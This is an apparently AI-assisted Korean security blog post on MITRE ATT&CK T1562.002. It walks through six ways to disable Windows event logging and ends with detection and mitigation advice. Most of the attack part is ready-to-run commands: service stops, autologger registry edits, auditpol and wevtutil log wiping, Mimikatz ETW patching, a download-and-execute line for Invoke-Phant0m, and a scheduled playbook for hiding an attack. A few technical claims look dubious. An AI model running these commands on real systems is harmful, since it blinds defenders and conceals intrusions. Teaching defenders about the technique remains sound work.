COMMENTS (0)
댓글은 익명으로 작성되며, 삭제 비밀번호를 설정하면 본인만 삭제할 수 있습니다. 비밀번호를 설정하지 않은 댓글은 누구나 삭제할 수 있습니다.
APT 2개 그룹이 Windows 이벤트 로깅을 끄는 6가지 방법. 서비스 중지부터 ETW 패칭까지, 로그가 사라지면 침해 사실 자체를 모른다.
댓글은 익명으로 작성되며, 삭제 비밀번호를 설정하면 본인만 삭제할 수 있습니다. 비밀번호를 설정하지 않은 댓글은 누구나 삭제할 수 있습니다.
Windows Event Log는 전 세계 10억 대 이상의 Windows 시스템에서 매일 수십억 건의 보안 이벤트를 기록한다. 하지만 공격자들이 이 핵심 감시 체계를 무력화하는 순간, 기업의 보안팀은 눈을 감고 침입자를 찾아야 하는 상황에 놓이다.
T1562.002 "Disable Windows Event Logging"은 공격자가 Windows 시스템의 이벤트 로깅 기능을 비활성화하여 자신의 활동 흔적을 지우는 기법이다. 이 기법은 MITRE ATT&CK 프레임워크의 방어 회피(Defense Evasion) 전술에 속하며, 현재 2개 APT 그룹이 실제 공격에서 사용하고 있다.
2003년 이전 Windows 시스템에서는 각 애플리케이션이 개별적으로 로그를 관리했다. 시스템 관리자들은 수십 개의 서로 다른 로그 파일을 일일이 확인해야 했고, 보안 사건 발생 시 전체 상황을 파악하기까지 며칠이 걸리는 경우가 많았다.
Event Logging provides a standard, centralized way for applications and the operating system to record important software and hardware events. The Event Logging service records events from various sources and stores them in a single collection called an event log. — Microsoft Event Logging Documentation
Windows Event Logging은 이런 혼란을 해결하기 위해 중앙화된 로깅 시스템을 제공한다. 모든 시스템 활동을 단일 저장소에 기록하여 보안팀이 침입 시도, 권한 상승, 데이터 접근 등을 실시간으로 추적할 수 있게 만들었다.
공격자들이 Event Logging을 비활성화하는 이유는 명확한다. Windows Event Log에는 다음과 같은 민감한 정보들이 기록되기 때문이다:
이런 정보들이 계속 기록된다면 공격자의 모든 활동이 추적 가능해집니다.
Windows Vista introduced a redesigned event tracing and logging architecture that centers on structured XML log format and designated log types, allowing applications to more accurately log events. — MITRE ATT&CK T1562.002
Windows Event Logging은 애플리케이션과 운영체제가 중요한 소프트웨어 및 하드웨어 이벤트를 기록하기 위한 표준화된 중앙 집중식 방식이다.
| 용어 | 설명 |
|---|---|
| Event Log | 역할: 전체 로깅 시스템 / 저장 위치: C:\Windows\System32\winevt\Logs\ / 특징: 중앙 집중식 관리 |
| EventLog Service | 역할: 로깅 담당 서비스 / 저장 위치: 서비스 관리자 / 특징: 시스템 부팅 시 자동 시작 |
| EVTX 파일 | 역할: 실제 로그 데이터 / 저장 위치: .evtx 확장자 파일 / 특징: XML 기반 구조화된 형식 |
| Audit Policy | 역할: 로깅 정책 설정 / 저장 위치: 그룹 정책 / 특징: 무엇을 기록할지 결정 |
| ETW (Event Tracing) | 역할: 실시간 이벤트 추적 / 저장 위치: 메모리 버퍼 / 특징: 고성능 로깅 메커니즘 |
Windows Event Logging 시스템은 5가지 핵심 구성 요소로 이루어져 있다:
가장 직접적인 방법은 Windows EventLog Service 자체를 중지하는 것이다.
# PowerShell을 통한 서비스 중지
Stop-Service -Name EventLog -Force
# 서비스 비활성화 (재부팅 후에도 시작되지 않음)
Set-Service -Name EventLog -StartupType Disabled
# 명령 프롬프트를 통한 서비스 제어
sc config eventlog start=disabled
sc stop eventlog
이 방법은 관리자 권한이 필요하지만 즉시 효과가 나타납니다. 서비스가 중지되는 순간부터 모든 이벤트 로깅이 중단된다.
더 은밀한 방법은 레지스트리를 통해 Event Tracing for Windows(ETW) Autologger를 비활성화하는 것이다.
# Security EventLog Autologger 비활성화 (일반 사용자도 가능)
reg add "HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-Security" /v Start /t REG_DWORD /d 0 /f
# System EventLog Autologger 비활성화 (관리자 권한 필요)
reg add "HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-System" /v Start /t REG_DWORD /d 0 /f
# Application EventLog Autologger 비활성화 (관리자 권한 필요)
reg add "HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-Application" /v Start /t REG_DWORD /d 0 /f
흥미롭게도 Security EventLog의 경우 관리자 권한 없이도 비활성화할 수 있다. 이는 Windows의 설계상 특이점으로, 공격자들이 자주 악용하는 부분이다.
Windows 감사 정책을 직접 수정하여 특정 유형의 이벤트 기록을 중단할 수 있다.
# 계정 로그온 감사 비활성화
auditpol /set /category:"Account Logon" /success:disable /failure:disable
# 로그온/로그오프 감사 비활성화
auditpol /set /category:"Logon/Logoff" /success:disable /failure:disable
# 프로세스 추적 감사 비활성화
auditpol /set /category:"Detailed Tracking" /success:disable /failure:disable
# 모든 감사 정책 초기화
auditpol /clear /y
이 방법은 전체 로깅을 중단하지 않고 특정 활동만 은밀하게 숨길 수 있어 탐지가 더 어렵다.
# 기존 로그 파일 초기화
wevtutil cl System
wevtutil cl Application
wevtutil cl Security
# 특정 로그 채널 비활성화
wevtutil sl Microsoft-Windows-PowerShell/Operational /e:false
# 로그 파일 크기를 0으로 설정 (새로운 이벤트 기록 방지)
wevtutil sl System /ms:0
정교한 공격자들은 메모리 패칭을 통해 ETW 이벤트 생성 자체를 차단한다.
# Mimikatz를 통한 ETW 패칭 예시
mimikatz # event::drop
mimikatz # event::clear
이 기법은 Mallox 랜섬웨어가 실제로 사용한 방법으로, EtwEventWrite API 함수를 패치하여 이벤트 생성을 원천 차단한다.
# Invoke-Phant0m 스크립트 실행
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/hlldz/Invoke-Phant0m/master/Invoke-Phant0m.ps1')
Invoke-Phant0m
이 기법은 EventLog Service의 스레드만 선택적으로 제거한다. 서비스는 실행 중인 것처럼 보이지만 실제로는 이벤트를 처리할 수 없는 상태가 된다.
Windows Event Logging이 이렇게 쉽게 무력화되는 이유는 설계상의 근본적인 특징 때문이다:
이런 구조적 약점 때문에 공격자들은 여러 경로를 통해 로깅을 무력화할 수 있다.
공격자들이 T1562.002를 사용하는 이유는 단순히 로그를 지우기 위해서가 아닙니다. 이들의 진짜 목표는 시간 확보이다.
보안팀이 침입을 탐지하는 데 평균 200일이 걸린다는 통계가 있지만, 이는 로그가 정상적으로 기록될 때의 이야기이다. Event Logging이 비활성화되면 탐지 시간이 무한대로 늘어날 수 있다.
1단계: 초기 침입 후 즉시 로깅 차단
# 공격자가 관리자 권한을 획득한 직후 실행하는 명령
powershell -ep bypass -c "Stop-Service EventLog; Set-Service EventLog -StartupType Disabled"
2단계: 선택적 로깅 비활성화로 은밀성 확보
모든 로그를 중단하면 오히려 의심받을 수 있다. 정교한 공격자들은 자신의 활동과 관련된 특정 로그만 비활성화한다:
# PowerShell 실행 로그만 비활성화
auditpol /set /subcategory:"Process Creation" /success:disable
# 네트워크 연결 로그만 비활성화
auditpol /set /subcategory:"Network Policy Server" /success:disable
3단계: 공격 완료 후 로깅 복구
공격이 끝나면 로깅을 다시 활성화해서 정상적인 시스템처럼 보이게 만듭니다:
# 서비스 재시작
Start-Service EventLog
Set-Service EventLog -StartupType Automatic
# 하지만 공격 기간의 로그는 이미 사라진 상태
RansomEXX 랜섬웨어 (2020년)
RansomEXX는 파일 암호화 직전에 다음 명령을 실행했다:
wevtutil cl Security
wevtutil cl Application
wevtutil cl System
이로 인해 피해 기업들은 공격이 언제, 어떻게 시작되었는지 파악하는 데 몇 주가 걸렸다.
Mallox 랜섬웨어 (2023년)
더욱 정교한 접근을 보인 Mallox는 EtwEventWrite 함수를 메모리에서 직접 패치했다. 이 기법은 서비스나 정책을 건드리지 않아 시스템 관리자도 로깅이 중단된 사실을 쉽게 눈치채지 못했다.
공격자들은 다음과 같은 방법으로 탐지를 우회한다:
시간차 공격
# 평일 업무 시간에 로깅 비활성화 (관리자 활동으로 위장)
at 09:00 "sc config eventlog start=disabled"
# 주말에 실제 공격 수행
at 23:00 "실제공격스크립트.bat"
# 월요일 아침 로깅 재활성화
at 08:00 "sc config eventlog start=auto"
부분적 비활성화
# 모든 로그를 지우지 않고 핵심적인 것만 선택적으로 비활성화
auditpol /set /subcategory:"Credential Validation" /success:disable
auditpol /set /subcategory:"Logon" /success:disable
auditpol /set /subcategory:"Process Creation" /success:disable
1. 로깅 상태 모니터링
# EventLog 서비스 상태 지속 모니터링
Get-Service EventLog | Select-Object Status, StartType
# Autologger 레지스트리 키 모니터링
Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-Security" -Name Start
2. 대안적 로깅 메커니즘 구축
Event Logging에만 의존하지 말고 다중 로깅 체계를 구축해야 한다:
3. 로그 무결성 보호
# 로그 파일을 읽기 전용으로 설정
attrib +R C:\Windows\System32\winevt\Logs\*.evtx
# SIEM으로 실시간 로그 전송 (로컬 삭제 불가능)
4. 권한 분리 및 최소 권한 원칙
# 일반 사용자에게 EventLog 관련 권한 제거
Remove-LocalGroupMember -Group "Event Log Readers" -Member "Users"
# 관리자 계정도 필요시에만 활성화
Disable-LocalUser -Name Administrator
T1562.002는 공격자가 Windows Event Logging을 무력화하여 자신의 활동을 숨기는 기법이다. 서비스 중지, 레지스트리 조작, 감사 정책 변경 등 다양한 방법을 통해 로깅을 차단할 수 있으며, 이는 보안팀의 침입 탐지 능력을 크게 저하시킵니다.
이 기법은 다른 방어 회피 기법들과 연계되어 사용된다. T1562.001 EDR 우회 공격과 함께 사용하면 보안 솔루션 전체를 무력화할 수 있고, T1562.003 명령 히스토리 삭제와 결합하면 공격 흔적을 완전히 지울 수 있다.
앞으로 살펴볼 주제로는 T1562.004 시스템 방화벽 무력화와 T1562.006 IoC 차단 공격이 있다. 이들은 모두 T1562 방어 무력화 전술의 하위 기법들로, 공격자가 보안 체계를 단계적으로 해체하는 과정을 이해하는 데 도움이 될 것이다.
AI 활용 안내 이 글은 AI(Claude)의 도움을 받아 작성되었습니다. 인용된 통계와 사례는 참고 자료에 명시된 출처에 근거하며, 설명을 위한 일부 표현은 각색되었습니다.
면책 조항 본 글은 보안 인식 제고를 위한 교육 목적으로 작성되었습니다. 언급된 공격 기법을 실제로 시도하는 행위는 「정보통신망법」, 「형법」 등에 따라 처벌받을 수 있으며, 본 블로그는 이에 대한 법적 책임을 지지 않습니다.